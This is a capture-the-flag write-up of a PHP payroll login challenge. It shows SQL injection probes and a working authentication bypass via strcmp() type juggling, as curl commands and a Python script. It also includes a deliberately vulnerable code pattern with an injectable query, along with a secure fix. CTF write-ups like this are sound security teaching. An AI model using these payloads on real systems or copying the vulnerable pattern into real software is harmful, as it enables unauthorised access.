359 words
2 minutes
SCSC2026 Quals - Legacy HR Payroll - Web Exploitation Writeup
Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8002/
Flag: SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}
Challenge Description
A legacy payroll system login page requiring Employee ID (format: HR-XXXX-Y) and PIN Code authentication.
Initial Reconnaissance
The login page features:
- A form with “Employee ID” and “PIN Code” fields
- Placeholder hint showing format: “HR-XXXX-Y”
- POST method submitting to
empidandpinparameters
$ curl -X POST -d "empid=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/
# Returns: Invalid credentialsVulnerability Discovery
Step 1: Testing SQL Injection
# Basic SQL injection attempts
$ curl -X POST -d "empid=' OR '1'='1&pin=1234" http://sriwijayasecuritysociety.com:8002/
$ curl -X POST -d "empid=' OR 1=1#&pin=anything" http://sriwijayasecuritysociety.com:8002/Result: All SQL injection attempts failed.
Step 2: Testing PHP Type Juggling
PHP is notorious for its loose type comparison. Testing array parameters:
$ curl -X POST -d "empid[]=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/Result: PHP error revealed!
Warning: strcmp() expects parameter 2 to be string, array given in /var/www/html/index.php on line 15Vulnerability Analysis: strcmp() Type Juggling
The error reveals the application uses strcmp() for credential comparison.
How strcmp() Works
int strcmp ( string $str1 , string $str2 )
// Returns 0 if equal, <0 if str1 < str2, >0 if str1 > str2The Vulnerability
When strcmp() receives an array instead of a string:
- It returns
NULL(and emits a warning) - In PHP’s loose comparison:
NULL == 0evaluates totrue - Since
strcmp()returns0for equal strings, this bypasses authentication!
Vulnerable Code Pattern
<?php
$empid = $_POST['empid'];
$pin = $_POST['pin'];
$user = $db->query("SELECT * FROM employees WHERE empid = '$empid'");
// VULNERABLE: loose comparison with strcmp
if (strcmp($user['pin'], $pin) == 0) {
// Authentication successful - but strcmp returns NULL for array input!
// NULL == 0 is TRUE in PHP!
}
?>Exploitation
Send both parameters as arrays to trigger the vulnerability:
$ curl -X POST \
-d "empid[]=HR-0001-1&pin[]=1234" \
http://sriwijayasecuritysociety.com:8002/Result: Authentication bypassed! Flag revealed:
SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}Alternative Exploitation Methods
Using Python Requests
import requests
url = "http://sriwijayasecuritysociety.com:8002/"
payload = {
"empid[]": "HR-0001-1",
"pin[]": "1234"
}
response = requests.post(url, data=payload)
print(response.text)Using Browser DevTools
- Open login page in browser
- Open Developer Tools (F12)
- Modify form HTML:
- Change
name="empid"toname="empid[]" - Change
name="pin"toname="pin[]"
- Change
- Submit the form
Secure Code Fix
<?php
// 1. Validate input types
if (!is_string($_POST['empid']) || !is_string($_POST['pin'])) {
die("Invalid input");
}
// 2. Use strict comparison (===) or hash_equals()
if (hash_equals($user['pin'], $pin)) {
// Secure comparison - timing-safe and type-strict
}
// 3. For passwords, use password_verify() with hashed passwords
if (password_verify($pin, $user['hashed_pin'])) {
// Proper password handling
}
?> SCSC2026 Quals - Legacy HR Payroll - Web Exploitation Writeup
https://blog.rei.my.id/posts/21/scsc2026-quals-legacy-hr-payroll-web-exploitation-writeup/